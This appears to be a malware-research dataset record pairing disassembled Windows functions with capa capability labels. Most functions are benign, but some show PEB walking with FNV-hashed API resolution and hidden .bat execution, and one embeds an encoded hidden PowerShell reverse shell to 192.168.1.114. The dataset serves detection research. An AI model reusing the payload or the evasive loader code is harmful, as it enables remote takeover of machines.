joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18005be10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movss dword [rsp + 0x20], xmm3
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
movss xmm0, dword [rax]
subss xmm0, dword [rcx]
movss dword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
movss xmm0, dword [rax + 4]
subss xmm0, dword [rcx + 4]
movss dword [rsp + 0x2c], xmm0
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
movss xmm0, dword [rax + 8]
subss xmm0, dword [rcx + 8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [rsp + 0x30]
mulss xmm0, dword [rsp + 0x30]
movss xmm1, dword [rsp + 0x2c]
mulss xmm1, dword [rsp + 0x2c]
addss xmm0, xmm1
movss xmm1, dword [rsp + 0x28]
mulss xmm1, dword [rsp + 0x28]
addss xmm0, xmm1
movss dword [rsp + 0x24], xmm0
movss xmm0, dword [rsp + 0x24]
ucomiss xmm0, dword [0x180087028]
jp 0x18005becc
je 0x18005bf01
movss xmm0, dword [rsp + 0x98]
comiss xmm0, dword [0x180087028]
jb 0x18005bef7
movss xmm0, dword [rsp + 0x98]
mulss xmm0, dword [rsp + 0x98]
comiss xmm0, dword [rsp + 0x24]
jae 0x18005bf01
mov dword [rsp + 0x38], 0
jmp 0x18005bf09
mov dword [rsp + 0x38], 1
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x40]
call fcn.180018f40
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x18005bf41
lea rax, [rsp + 0x40]
mov rdi, rax
mov rsi, qword [rsp + 0x90]
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
jmp 0x18005c001
cvtss2sd xmm0, dword [rsp + 0x24]
cvtsd2ss xmm0, xmm0
call fcn.180084130
movss dword [rsp + 0x34], xmm0
movss xmm0, dword [rsp + 0x28]
divss xmm0, dword [rsp + 0x34]
mulss xmm0, dword [rsp + 0x98]
mov rax, qword [rsp + 0x88]
movss xmm1, dword [rax + 8]
addss xmm1, xmm0
movaps xmm0, xmm1
movss xmm1, dword [rsp + 0x2c]
divss xmm1, dword [rsp + 0x34]
mulss xmm1, dword [rsp + 0x98]
mov rax, qword [rsp + 0x88]
movss xmm2, dword [rax + 4]
addss xmm2, xmm1
movaps xmm1, xmm2
movss xmm2, dword [rsp + 0x30]
divss xmm2, dword [rsp + 0x34]
mulss xmm2, dword [rsp + 0x98]
mov rax, qword [rsp + 0x88]
movss xmm3, dword [rax]
addss xmm3, xmm2
movaps xmm2, xmm3
movss dword [rsp + 0x3c], xmm2
movaps xmm3, xmm0
movaps xmm2, xmm1
movss xmm0, dword [rsp + 0x3c]
movaps xmm1, xmm0
lea rcx, [rsp + 0x50]
call fcn.180018ef0
lea rcx, [rsp + 0x40]
mov rdi, rcx
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x40]
mov rdi, qword [rsp + 0x80]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x80]
add rsp, 0x68
pop rdi
pop rsi
ret
Function at 0x2a5b81590
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x18], 1
jne 0x2a5b815b8
lea rax, str.powershell.exe__sta__w_1__enc_UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIABjAGwAaQBlAG4AdAAgAC0AVgBhAGwAdQBlACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEALgAxADEANAAnACwAMwA0ADQAMwApACkAOwAgAHMAbABlAGUAcAAoADAALgAxACkAOwAgAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAcwB0AHIAZQBhAG0AIAAtAFYAYQBsAHUAZQAgACgAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAgAHcAaABpAGwAZQAoACgAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIABpACAALQBWAGEAbAB1AGUAIAAoACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACkAIAAtAG4AZQAgADAAKQB7ADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIABkAGEAdABhACAALQBWAGEAbAB1AGUAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApACkAOwAgAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAcwBlAG4AZABiAGEAYwBrACAALQBWAGEAbAB1AGUAIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgAACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7AFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAcwBlAG4AZABiAGEAYwBrADIAIAAtAFYAYQBsAHUAZQAgACgAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwAACAAJwApADsAIABTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAC0ATgBhAG0AZQAgAHMAZQBuAGQAYgB5AHQAZQAgAC0AVgBhAGwAdQBlACAAKAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQApADsAIABzAGwAZQBlAHAAKAAwAC4AMQApADsAIAAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAIAAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAIAAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQB9ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x2a5b817b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x2a5b82122
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2a5b89108]
test eax, eax
je 0x2a5b821ba
lea rax, [0x2a5b890e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2a5b89110]
mov qword [rbp - 8], rax
jmp 0x2a5b8219e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2a5b82192
cmp qword [rbp - 0x10], 0
je 0x2a5b82192
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2a5b82158
lea rax, [0x2a5b890e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2a5b821bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2a5b822c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2a5b822e8
mov eax, 0
jmp 0x2a5b82336
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2a5b82311
mov eax, 0
jmp 0x2a5b82336
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2a5b82331
mov eax, 0
jmp 0x2a5b82336
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x2a5b8233c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2a5b823ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2a5b823b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2a5b823b1
mov rax, qword [rbp - 8]
jmp 0x2a5b823cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2a5b82384
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140005150
Capabilities:
Access peb ldr_data
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14009c148]
test rax, rax
jne 0x14000533c
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x48], rbp
mov r9d, 0xbec5e7f6
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400051fd
psrldq xmm0, 8
mov edx, 0xcfcf92c0
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400051f4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x1400051e0
cmp edx, r11d
jne 0x1400052ff
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x1400052ff
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400052ff
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0xcfcf92c0
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140005277
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140005260
cmp edx, r9d
je 0x140005283
test r8d, r8d
jne 0x140005240
jmp 0x1400052ff
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, rbx
jbe 0x140005317
lea rcx, [r15 + rbx]
cmp rax, rcx
jae 0x140005317
movzx ecx, byte [rax]
mov r11d, 0xcfcf92c0
mov r9d, r11d
cmp cl, 0x2e
je 0x1400052d8
nop dword [rax]
movsx ecx, cl
inc rax
xor ecx, r11d
imul r11d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x1400052c0
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x1400052fb
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x1400052e3
mov rdi, qword [rbp]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140005315
cmp qword [rax + 0x30], 0
jne 0x1400051b0
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [0x14009c148], rax
add rsp, 0x38
jmp rax
Function at 0x140005900
Capabilities:
Access peb ldr_data
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rcx, qword [0x14009c0f8]
test rcx, rcx
jne 0x140005aeb
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x50], rbp
mov r9d, 0x98d2df4
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400059ad
psrldq xmm0, 8
mov edx, 0x74329e31
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400059a4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140005990
cmp edx, r11d
jne 0x140005aae
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x140005aae
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140005aae
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x74329e31
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140005a27
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140005a10
cmp edx, r9d
je 0x140005a33
test r8d, r8d
jne 0x1400059f0
jmp 0x140005aae
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov ecx, dword [rcx + rdx*4]
add rcx, r10
cmp rcx, rbx
jbe 0x140005ac6
lea rax, [r15 + rbx]
cmp rcx, rax
jae 0x140005ac6
movzx eax, byte [rcx]
mov r11d, 0x74329e31
mov r9d, r11d
cmp al, 0x2e
je 0x140005a87
nop dword [rax + rax]
movsx eax, al
inc rcx
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140005a70
movzx eax, byte [rcx + 1]
inc rcx
test al, al
je 0x140005aaa
movsx eax, al
lea rcx, [rcx + 1]
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rcx]
test al, al
jne 0x140005a92
mov rdi, qword [rbp]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140005ac4
cmp qword [rax + 0x30], 0
jne 0x140005960
xor ecx, ecx
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov qword [0x14009c0f8], rcx
call fcn.1400041a0
call fcn.140004930
test eax, eax
je 0x140005b05
mov qword [0], 1
call fcn.140004d90
test eax, eax
je 0x140005b1a
mov qword [0], 1
call fcn.140005150
test eax, eax
je 0x140005b2f
mov qword [0], 1
call fcn.140005350
test al, al
je 0x140005b44
mov qword [0], 1
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], reloc.WS2_32.dll_sendto
call fcn.1400144d0
add rsp, 0x38
ret
Function at 0x140006250
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x68
movups xmm1, xmmword [0x14008ed80]
movups xmm0, xmmword [str.FRG_TU]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x30], xmm0
test al, al
je 0x14000641d
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400063e4
movdqa xmm0, xmmword [str.2222222222222222O]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14008ee20]
movdqa xmm4, xmmword [0x14008eee0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x14008ee40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14008ee50]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008ee50]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x1400062d0
movaps xmm6, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x68
ret
lea r8, [rsp + 0x30]
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x20
jl 0x1400063f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x68
ret
Function at 0x1400066b0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x60
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x2c]
lea rdx, str.C:Program_FilesCommon_FilesSystemOle_DB_
lea rcx, [rsp + 0x20]
call fcn.1400150f0
lea rcx, [rsp + 0x20]
call fcn.140006110
lea rax, [rsp + 0x20]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x13]
lea rdx, str.SerialChecker_1.bat
lea rcx, [rsp + 0x20]
call fcn.1400150f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea r8d, [rbx + 6]
lea rdx, str.849966
lea rcx, [rsp + 0x40]
call fcn.1400150f0
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005e80
lea ecx, [rbx + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_SerialChecker_1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea edx, [rbx + 5]
add rsp, 0x60
pop rbx
jmp qword [sym.imp.USER32.dll_ShowWindow]

Function at 0x1400067a0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x60
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x2c]
lea rdx, str.C:Program_FilesCommon_FilesSystemOle_DB_
lea rcx, [rsp + 0x20]
call fcn.1400150f0
lea rcx, [rsp + 0x20]
call fcn.140006110
lea rax, [rsp + 0x20]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 7]
lea rdx, str.Mac.bat
lea rcx, [rsp + 0x20]
call fcn.1400150f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea r8d, [rbx + 6]
lea rdx, str.582018
lea rcx, [rsp + 0x40]
call fcn.1400150f0
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005e80
lea rcx, str.start_Mac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea edx, [rbx + 5]
add rsp, 0x60
pop rbx
jmp qword [sym.imp.USER32.dll_ShowWindow]
Function at 0x140010510
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400105a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400105a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x22544a01
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400105a2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140010580
cmp r8d, 0x51462da1
je 0x1400105ac
test r9d, r9d
jne 0x140010560
mov rax, qword [rax]
jmp 0x140010530
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 7
mov rcx, qword [0x14009c180]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax

Function at 0x1400105e0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140010677
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140010677
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf4df34ca
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140010672
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140010650
cmp r8d, 0x3d9413d4
je 0x14001067c
test r9d, r9d
jne 0x140010630
mov rax, qword [rax]
jmp 0x140010600
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 3
mov rcx, qword [0x14009c180]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax
Function at 0x1400128c0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x1400128e3
lea edx, [rax + 0x6d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x1400128d0
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140014d60
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140012f10
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140012f38
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140012f5e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140012f60
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140012fb9
test ecx, ecx
jle 0x140012f99
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
